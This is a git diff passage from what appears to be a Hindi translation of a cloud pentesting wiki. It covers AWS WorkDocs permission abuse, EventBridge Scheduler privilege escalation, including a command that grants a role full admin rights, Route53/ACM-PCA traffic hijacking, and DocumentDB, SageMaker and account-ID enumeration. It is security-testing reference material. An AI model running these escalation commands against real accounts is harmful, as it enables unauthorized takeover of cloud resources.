+# Get file (a url to access with the content will be retreived)
+aws workdocs get-document --document-id 
+```
+### `workdocs:AddResourcePermissions`
+
+यदि आपके पास किसी चीज़ को पढ़ने की अनुमति नहीं है, तो आप बस अनुमति दे सकते हैं।
+```bash
+# Add permission so anyway can see the file
+aws workdocs add-resource-permissions --resource-id  --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
+## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/
+```
+### `workdocs:AddUserToGroup`
+
+आप किसी उपयोगकर्ता को ZOCALO_ADMIN ग्रुप में सेट करके admin बना सकते हैं.\
+इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
+
+उस उपयोगकर्ता से workdoc में लॉगिन करें और admin पैनल में पहुँचें `/workdocs/index.html#/admin`
+
+मुझे cli से यह करने का कोई तरीका नहीं मिला।
+
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
deleted file mode 100644
index 63e1c2751..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# AWS - EventBridge Scheduler Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EventBridge Scheduler
-
-अधिक जानकारी EventBridge Scheduler में:
-
-{{#ref}}
-../aws-services/eventbridgescheduler-enum.md
-{{#endref}}
-
-### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
-
-एक हमलावर जिसके पास ये अनुमतियाँ हैं, वह **`create`|`update` एक शेड्यूलर कर सकेगा और इसके साथ जुड़े शेड्यूलर भूमिका के अनुमतियों का दुरुपयोग कर सकेगा** किसी भी क्रिया को करने के लिए
-
-उदाहरण के लिए, वे शेड्यूल को **एक Lambda फ़ंक्शन को कॉल करने के लिए कॉन्फ़िगर कर सकते हैं** जो एक टेम्पलेटेड क्रिया है:
-```bash
-aws scheduler create-schedule \
---name MyLambdaSchedule \
---schedule-expression "rate(5 minutes)" \
---flexible-time-window "Mode=OFF" \
---target '{
-"Arn": "arn:aws:lambda:::function:",
-"RoleArn": "arn:aws:iam:::role/"
-}'
-```
-इसके अलावा टेम्पलेटेड सेवा क्रियाओं के, आप **universal targets** का उपयोग कर सकते हैं EventBridge Scheduler में कई AWS सेवाओं के लिए API संचालन को सक्रिय करने के लिए। Universal targets लगभग किसी भी API को सक्रिय करने के लिए लचीलापन प्रदान करते हैं। एक उदाहरण हो सकता है universal targets का उपयोग करते हुए "**AdminAccessPolicy**" जोड़ना, एक भूमिका का उपयोग करते हुए जिसमें "**putRolePolicy**" नीति है:
-```bash
-aws scheduler create-schedule \
---name GrantAdminToTargetRoleSchedule \
---schedule-expression "rate(5 minutes)" \
---flexible-time-window "Mode=OFF" \
---target '{
-"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
-"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy",
-"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
-}'
-```
-## संदर्भ
-
-- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
-- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
new file mode 100644
index 000000000..93453fc8c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
@@ -0,0 +1,45 @@
+# AWS - EventBridge Scheduler Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EventBridge Scheduler
+
+More info EventBridge Scheduler in:
+
+{{#ref}}
+../../aws-services/eventbridgescheduler-enum.md
+{{#endref}}
+
+### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
+
+उन permissions वाले attacker सक्षम होंगे **`create`|`update` एक scheduler और उससे जुड़े scheduler role की permissions का दुरुपयोग** करके कोई भी action करने के लिए
+
+For example, they could configure the schedule to **invoke a Lambda function** which is a templated action:
+```bash
+aws scheduler create-schedule \
+--name MyLambdaSchedule \
+--schedule-expression "rate(5 minutes)" \
+--flexible-time-window "Mode=OFF" \
+--target '{
+"Arn": "arn:aws:lambda:::function:",
+"RoleArn": "arn:aws:iam:::role/"
+}'
+```
+टेम्पलेटेड सर्विस एक्शनों के अलावा, आप EventBridge Scheduler में **universal targets** का उपयोग करके कई AWS सेवाओं के लिए विस्तृत API ऑपरेशनों को invoke कर सकते हैं। Universal targets लगभग किसी भी API को invoke करने की लचीलापन प्रदान करते हैं। एक उदाहरण यह हो सकता है कि universal targets का उपयोग करके "**AdminAccessPolicy**" जोड़ना, ऐसे role का उपयोग करते हुए जिसमें "**putRolePolicy**" पॉलिसी हो:
+```bash
+aws scheduler create-schedule \
+--name GrantAdminToTargetRoleSchedule \
+--schedule-expression "rate(5 minutes)" \
+--flexible-time-window "Mode=OFF" \
+--target '{
+"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
+"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy",
+"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
+}'
+```
+## संदर्भ
+
+- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
+- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
deleted file mode 100644
index 4ecf7e080..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Route53 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-Route53 के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-route53-enum.md
-{{#endref}}
-
-### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
-
-> [!NOTE]
-> इस हमले को करने के लिए लक्षित खाते में पहले से एक [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** सेटअप होना चाहिए, और VPC(s) में EC2 इंस्टेंस को इसे भरोसा करने के लिए प्रमाणपत्र आयात करना चाहिए। इस बुनियादी ढांचे के साथ, AWS API ट्रैफ़िक को इंटरसेप्ट करने के लिए निम्नलिखित हमला किया जा सकता है।
-
-अन्य अनुमतियाँ **enumeration** भाग के लिए अनुशंसित हैं लेकिन आवश्यक नहीं हैं: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
-
-मान लेते हैं कि एक AWS VPC है जिसमें कई क्लाउड-नेटिव एप्लिकेशन एक-दूसरे और AWS API से बात कर रहे हैं। चूंकि माइक्रोसर्विसेज के बीच संचार अक्सर TLS एन्क्रिप्टेड होता है, इसलिए उन सेवाओं के लिए वैध प्रमाणपत्र जारी करने के लिए एक निजी CA होना चाहिए। **यदि ACM-PCA का उपयोग किया जाता है** और प्रतिकूलता **route53 और acm-pca निजी CA दोनों को नियंत्रित करने के लिए पहुंच प्राप्त कर लेती है** तो ऊपर वर्णित न्यूनतम अनुमतियों के साथ, यह **AWS API के लिए एप्लिकेशन कॉल को हाईजैक कर सकती है** और उनके IAM अनुमतियों पर नियंत्रण कर सकती है।
-
-यह संभव है क्योंकि:
-
-- AWS SDKs में [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) नहीं है
-- Route53 AWS APIs डोमेन नामों के लिए प्राइवेट होस्टेड ज़ोन और DNS रिकॉर्ड बनाने की अनुमति देता है
-- ACM-PCA में निजी CA को केवल विशिष्ट सामान्य नामों के लिए प्रमाणपत्र पर हस्ताक्षर करने के लिए प्रतिबंधित नहीं किया जा सकता
-
-**संभावित प्रभाव:** ट्रैफ़िक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष प्रिवेस्क।
-
-#### शोषण 
-
-शोध में शोषण के चरणों को खोजें: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
new file mode 100644
index 000000000..f14c64c93
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
@@ -0,0 +1,32 @@
+# AWS - Route53 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Route53 के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-route53-enum.md
+{{#endref}}
+
+### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
+
+> [!NOTE]
+> इस हमले को करने के लिए लक्षित अकाउंट में पहले से ही [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** सेटअप होना चाहिए, और VPC(s) में EC2 इंस्टेंसेज़ ने उन प्रमाणपत्रों को पहले ही इम्पोर्ट कर के उन्हें ट्रस्ट करना चाहिए। इस इन्फ्रास्ट्रक्चर के साथ, निम्नलिखित हमला AWS API ट्रैफिक को इंटरसेप्ट करने के लिए किया जा सकता है।
+
+Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
+
+मान लीजिए एक AWS VPC है जिसमें कई क्लाउड-नेटिव एप्लिकेशन एक दूसरे और AWS API से संवाद कर रही हैं। चूँकि microservices के बीच संचार अक्सर TLS एन्क्रिप्टेड होता है, उन सेवाओं के लिए वैध प्रमाणपत्र जारी करने के लिए एक private CA की आवश्यकता होती है। **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions.
+
+यह इसलिए संभव है:
+
+- AWS SDKs में [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) नहीं होता है
+- Route53 Private Hosted Zone और DNS रिकॉर्ड AWS APIs डोमेन नामों के लिए बनाने की अनुमति देता है
+- ACM-PCA में Private CA को सिर्फ specific Common Names के लिए ही प्रमाणपत्र साइन करने तक प्रतिबंधित नहीं किया जा सकता
+
+**Potential Impact:** ट्रैफ़िक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष privesc
+
+#### Exploitation 
+
+मूल रिसर्च में एक्सप्लॉइटेशन के चरण देखें: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
deleted file mode 100644
index 88e4ff286..000000000
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - DocumentDB Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## DocumentDB
-
-Amazon DocumentDB, जो MongoDB के साथ संगतता प्रदान करता है, एक **तेज़, विश्वसनीय, और पूरी तरह से प्रबंधित डेटाबेस सेवा** के रूप में प्रस्तुत किया गया है। इसे तैनाती, संचालन, और स्केलेबिलिटी में सरलता के लिए डिज़ाइन किया गया है, यह **क्लाउड में MongoDB-संगत डेटाबेस के निर्बाध माइग्रेशन और संचालन** की अनुमति देता है। उपयोगकर्ता इस सेवा का लाभ उठाकर अपने मौजूदा एप्लिकेशन कोड को निष्पादित कर सकते हैं और परिचित ड्राइवरों और उपकरणों का उपयोग कर सकते हैं, जिससे MongoDB के साथ काम करने के समान एक सुगम संक्रमण और संचालन सुनिश्चित होता है।
-
-### Enumeration
-```bash
-aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
-aws docdb describe-db-instances #Get hostnames from here
-
-# Parameter groups
-aws docdb describe-db-cluster-parameter-groups
-aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name 
-
-# Snapshots
-aws docdb describe-db-cluster-snapshots
-aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier 
-```
-### NoSQL Injection
-
-चूंकि DocumentDB एक MongoDB संगत डेटाबेस है, आप कल्पना कर सकते हैं कि यह सामान्य NoSQL इंजेक्शन हमलों के प्रति भी संवेदनशील है:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
-{{#endref}}
-
-### DocumentDB
-
-{{#ref}}
-../aws-unauthenticated-enum-access/aws-documentdb-enum.md
-{{#endref}}
-
-## References
-
-- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
new file mode 100644
index 000000000..24894c254
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
@@ -0,0 +1,40 @@
+# AWS - DocumentDB Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## DocumentDB
+
+Amazon DocumentDB, जो MongoDB के साथ संगतता प्रदान करता है, को एक **तेज़, भरोसेमंद, और पूरी तरह से प्रबंधित डेटाबेस सेवा** के रूप में प्रस्तुत किया गया है। डिप्लॉयमेंट, संचालन, और स्केलेबिलिटी में सरलता के लिए डिज़ाइन किया गया, यह क्लाउड में **MongoDB-compatible databases के निर्बाध माइग्रेशन और संचालन** की अनुमति देता है। उपयोगकर्ता इस सेवा का उपयोग अपने मौजूदा एप्लिकेशन कोड को चलाने और परिचित ड्राइवर्स तथा टूल्स का उपयोग करने के लिए कर सकते हैं, जिससे MongoDB के साथ काम करने जैसा एक सहज संक्रमण और संचालन सुनिश्चित होता है।
+
+### Enumeration
+```bash
+aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
+aws docdb describe-db-instances #Get hostnames from here
+
+# Parameter groups
+aws docdb describe-db-cluster-parameter-groups
+aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name 
+
+# Snapshots
+aws docdb describe-db-cluster-snapshots
+aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier 
+```
+### NoSQL Injection
+
+चूंकि DocumentDB एक MongoDB compatible database है, आप कल्पना कर सकते हैं कि यह आम NoSQL injection attacks के लिए भी संवेदनशील है:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
+{{#endref}}
+
+### DocumentDB
+
+{{#ref}}
+../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
+{{#endref}}
+
+## संदर्भ
+
+- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
new file mode 100644
index 000000000..7848e283f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
@@ -0,0 +1,200 @@
+# AWS - SageMaker Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## सेवा अवलोकन
+
+Amazon SageMaker AWS का managed machine-learning प्लेटफ़ॉर्म है जो notebooks, training infrastructure, orchestration, registries, और managed endpoints को एक साथ जोड़ता है। SageMaker resources के समझौते से आम तौर पर निम्न तक पहुँच मिल सकती है:
+
+- लंबे समय तक सक्रिय रहने वाले IAM execution roles जिनके पास व्यापक S3, ECR, Secrets Manager, या KMS access होता है।
+- S3, EFS, या feature stores में संग्रहित संवेदनशील datasets तक पहुँच।
+- VPCs के अंदर नेटवर्क footholds (Studio apps, training jobs, endpoints)।
+- High-privilege presigned URLs जो console authentication को बायपास करते हैं।
+
+SageMaker कैसे assembled है यह समझना महत्वपूर्ण है, इससे पहले कि आप pivot, persist, या exfiltrate data करें।
+
+## मुख्य निर्माण खंड
+
+- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio)। प्रत्येक domain के पास साझा EFS फ़ाइल सिस्टम और डिफ़ॉल्ट execution role होता है।
+- **Notebook Instances**: स्टैंडअलोन notebooks के लिए मैनेज्ड EC2 instances; अलग execution roles का उपयोग करते हैं।
+- **Training / Processing / Transform Jobs**: अस्थायी containers जो ECR से code और S3 से data खींचते हैं।
+- **Pipelines & Experiments**: Orchestrated workflows जो सभी steps, inputs, और outputs का वर्णन करते हैं।
+- **Models & Endpoints**: Packaged artefacts जिन्हें inference के लिए HTTPS endpoints के माध्यम से deploy किया जाता है।
+- **Feature Store & Data Wrangler**: डेटा तैयारी और feature management के लिए मैनेज्ड सेवाएँ।
+- **Autopilot & JumpStart**: Automated ML और curated model catalogue।
+- **MLflow Tracking Servers**: Managed MLflow UI/API presigned access tokens के साथ।
+
+हर resource एक execution role, S3 locations, container images, और वैकल्पिक VPC/KMS configuration को reference करता है — enumeration के दौरान इन सभी को capture करें।
+
+## खाता और वैश्विक मेटाडेटा
+```bash
+REGION=us-east-1
+# Portfolio status, used when provisioning Studio resources
+aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION
+
+# List execution roles used by models (extend to other resources as needed)
+aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr '	' '
+' | sort -u
+
+# Generic tag sweep across any SageMaker ARN you know
+aws sagemaker list-tags --resource-arn  --region $REGION
+```
+किसी भी cross-account trust (execution roles या S3 buckets जिनमें external principals हों) और बेसलाइन प्रतिबंधों जैसे service control policies या SCPs को नोट करें।
+
+## Studio डोमेन, ऐप्स और साझा स्पेस
+```bash
+aws sagemaker list-domains --region $REGION
+aws sagemaker describe-domain --domain-id  --region $REGION
+aws sagemaker list-user-profiles --domain-id-equals  --region $REGION
+aws sagemaker describe-user-profile --domain-id  --user-profile-name  --region $REGION
+
+# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.)
+aws sagemaker list-apps --domain-id-equals  --region $REGION
+aws sagemaker describe-app --domain-id  --user-profile-name  --app-type JupyterServer --app-name default --region $REGION
+
+# Shared collaborative spaces
+aws sagemaker list-spaces --domain-id-equals  --region $REGION
+aws sagemaker describe-space --domain-id  --space-name  --region $REGION
+
+# Studio lifecycle configurations (shell scripts at start/stop)
+aws sagemaker list-studio-lifecycle-configs --region $REGION
+aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name  --region $REGION
+```
+क्या रिकॉर्ड करें:
+
+- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
+- माउंट किया गया EFS (`HomeEfsFileSystemId`) और S3 होम डायरेक्टरीज़.
+- Lifecycle स्क्रिप्ट्स (अक्सर bootstrap credentials या push/pull extra code होते हैं).
+
+> [!TIP]
+> Presigned Studio URLs यदि व्यापक रूप से प्रदान किए गए हों तो प्रमाणीकरण को बाईपास कर सकते हैं।
+
+## Notebook Instances & Lifecycle Configs
+```bash
+aws sagemaker list-notebook-instances --region $REGION
+aws sagemaker describe-notebook-instance --notebook-instance-name  --region $REGION
+aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
+aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name  --region $REGION
+```
+Notebook metadata में निम्न बातें प्रकट होती हैं:
+
+- Execution role (`RoleArn`), direct internet access बनाम VPC-only मोड।
+- S3 स्थान `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess` में।
+- Credentials या persistence hooks के लिए lifecycle scripts।
+
+## Training, Processing, Transform & Batch Jobs
+```bash
+aws sagemaker list-training-jobs --region $REGION
+aws sagemaker describe-training-job --training-job-name  --region $REGION
+
+aws sagemaker list-processing-jobs --region $REGION
+aws sagemaker describe-processing-job --processing-job-name  --region $REGION
+
+aws sagemaker list-transform-jobs --region $REGION
+aws sagemaker describe-transform-job --transform-job-name  --region $REGION
+```
+- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – कौन से ECR इमेजेस तैनात हैं।
+- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefixes, और KMS keys।
+- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – नेटवर्क या एन्क्रिप्शन की स्थिति निर्धारित करते हैं।
+- `HyperParameters` में environment secrets या connection strings leak हो सकते हैं।
+
+## पाइपलाइन्स, एक्सपेरिमेंट्स और ट्रायल्स
+```bash
+aws sagemaker list-pipelines --region $REGION
+aws sagemaker list-pipeline-executions --pipeline-name  --region $REGION
+aws sagemaker describe-pipeline --pipeline-name  --region $REGION
+
+aws sagemaker list-experiments --region $REGION
+aws sagemaker list-trials --experiment-name  --region $REGION
+aws sagemaker list-trial-components --trial-name  --region $REGION
+```
+पाइपलाइन परिभाषाएँ हर चरण, संबंधित भूमिकाएँ, कंटेनर इमेजेस और environment variables का विस्तृत विवरण देती हैं। ट्रायल कंपोनेंट्स अक्सर training artefact URIs, S3 logs और ऐसे मेट्रिक्स होते हैं जो संवेदनशील डेटा प्रवाह की ओर संकेत करते हैं।
+
+## मॉडल, एंडपॉइंट कॉन्फ़िगरेशन और डिप्लॉय किए गए एंडपॉइंट्स
+```bash
+aws sagemaker list-models --region $REGION
+aws sagemaker describe-model --model-name  --region $REGION
+
+aws sagemaker list-endpoint-configs --region $REGION
+aws sagemaker describe-endpoint-config --endpoint-config-name  --region $REGION
+
+aws sagemaker list-endpoints --region $REGION
+aws sagemaker describe-endpoint --endpoint-name  --region $REGION
+```
+ध्यान केंद्रित क्षेत्र:
+
+- Model artefact के S3 URIs (`PrimaryContainer.ModelDataUrl`) और inference container images।
+- Endpoint data capture कॉन्फ़िगरेशन (S3 bucket, KMS) संभावित log exfil के लिए।
+- Multi-model endpoints जो `S3DataSource` या `ModelPackage` का उपयोग करते हैं (cross-account packaging की जांच करें)।
+- Network configs और security groups जो endpoints से जुड़े हैं।
+
+## Feature Store, Data Wrangler & Clarify
+```bash
+aws sagemaker list-feature-groups --region $REGION
+aws sagemaker describe-feature-group --feature-group-name  --region $REGION
+
+aws sagemaker list-data-wrangler-flows --region $REGION
+aws sagemaker describe-data-wrangler-flow --flow-name  --region $REGION
+
+aws sagemaker list-model-quality-job-definitions --region $REGION
+aws sagemaker list-model-monitoring-schedule --region $REGION
+```
+सुरक्षा निष्कर्ष:
+
+- Online feature stores Kinesis पर डेटा replicate करते हैं; `OnlineStoreConfig.SecurityConfig.KmsKeyId` और VPC की जाँच करें।
+- Data Wrangler flows अक्सर JDBC/Redshift क्रेडेंशियल्स या private endpoints में एम्बेड होते हैं।
+- Clarify/Model Monitor jobs डेटा S3 पर export करते हैं जो world-readable या cross-account accessible हो सकता है।
+
+## MLflow ट्रैकिंग सर्वर्स, Autopilot और JumpStart
+```bash
+aws sagemaker list-mlflow-tracking-servers --region $REGION
+aws sagemaker describe-mlflow-tracking-server --tracking-server-name  --region $REGION
+
+aws sagemaker list-auto-ml-jobs --region $REGION
+aws sagemaker describe-auto-ml-job --auto-ml-job-name  --region $REGION
+
+aws sagemaker list-jumpstart-models --region $REGION
+aws sagemaker list-jumpstart-script-resources --region $REGION
+```
+- MLflow tracking servers experiments और artefacts को स्टोर करते हैं; presigned URLs सब कुछ उजागर कर सकते हैं।
+- Autopilot jobs कई training jobs चलाते हैं—hidden data के लिए outputs enumerate करें।
+- JumpStart reference architectures खाते में privileged roles deploy कर सकते हैं।
+
+## IAM और नेटवर्किंग पर विचार
+
+- सभी execution roles (Studio, notebooks, training jobs, pipelines, endpoints) से जुड़ी IAM policies enumerate करें।
+- network contexts की जाँच करें: subnets, security groups, VPC endpoints. कई संगठनों ने training jobs को अलग रखा होता है पर outbound traffic को restrict करना भूल जाते हैं।
+- external access के लिए `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` में referenced S3 bucket policies की समीक्षा करें।
+
+## Privilege Escalation
+
+{{#ref}}
+../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
+{{#endref}}
+
+## Persistence
+
+{{#ref}}
+../../aws-persistence/aws-sagemaker-persistence/README.md
+{{#endref}}
+
+## Post-Exploitation
+
+{{#ref}}
+../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+{{#endref}}
+
+## Unauthorized Access
+
+{{#ref}}
+../aws-sagemaker-unauthenticated-enum/README.md
+{{#endref}}
+
+## संदर्भ
+
+- [AWS SageMaker दस्तावेज़](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
+- [AWS CLI SageMaker संदर्भ](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
+- [SageMaker Studio वास्तुकला](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html)
+- [SageMaker सुरक्षा सर्वोत्तम प्रथाएँ](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
deleted file mode 100644
index 17b2b1223..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - Accounts Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## खाता आईडी
-
-यदि आपके पास एक लक्ष्य है, तो लक्ष्य से संबंधित खाता आईडी की पहचान करने के तरीके हैं।
-
-### ब्रूट-फोर्स
-
-आप संभावित खाता आईडी और उपनामों की एक सूची बनाते हैं और उन्हें जांचते हैं।
-```bash
-# Check if an account ID exists
-curl -v https://.signin.aws.amazon.com
-## If response is 404 it doesn't, if 200, it exists
-## It also works from account aliases
-curl -v https://vodafone-uk2.signin.aws.amazon.com
-```
-आप इस प्रक्रिया को [इस उपकरण के साथ स्वचालित कर सकते हैं](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py)।
-
-### OSINT
-
-उन URLs की तलाश करें जो `.signin.aws.amazon.com` को **संगठन से संबंधित एक उपनाम** के साथ शामिल करते हैं।
-
-### Marketplace
-
-यदि किसी विक्रेता के **मार्केटप्लेस में उदाहरण हैं,** तो आप उस AWS खाते का मालिक आईडी (खाता आईडी) प्राप्त कर सकते हैं जिसका उसने उपयोग किया।
-
-### Snapshots
-
-- सार्वजनिक EBS स्नैपशॉट (EC2 -> Snapshots -> Public Snapshots)
-- RDS सार्वजनिक स्नैपशॉट (RDS -> Snapshots -> All Public Snapshots)
-- सार्वजनिक AMIs (EC2 -> AMIs -> Public images)
-
-### Errors
-
-कई AWS त्रुटि संदेश (यहां तक कि एक्सेस अस्वीकृत) उस जानकारी को देंगे।
-
-## References
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-
-{{#include ../../../banners/hacktricks-training.md}}
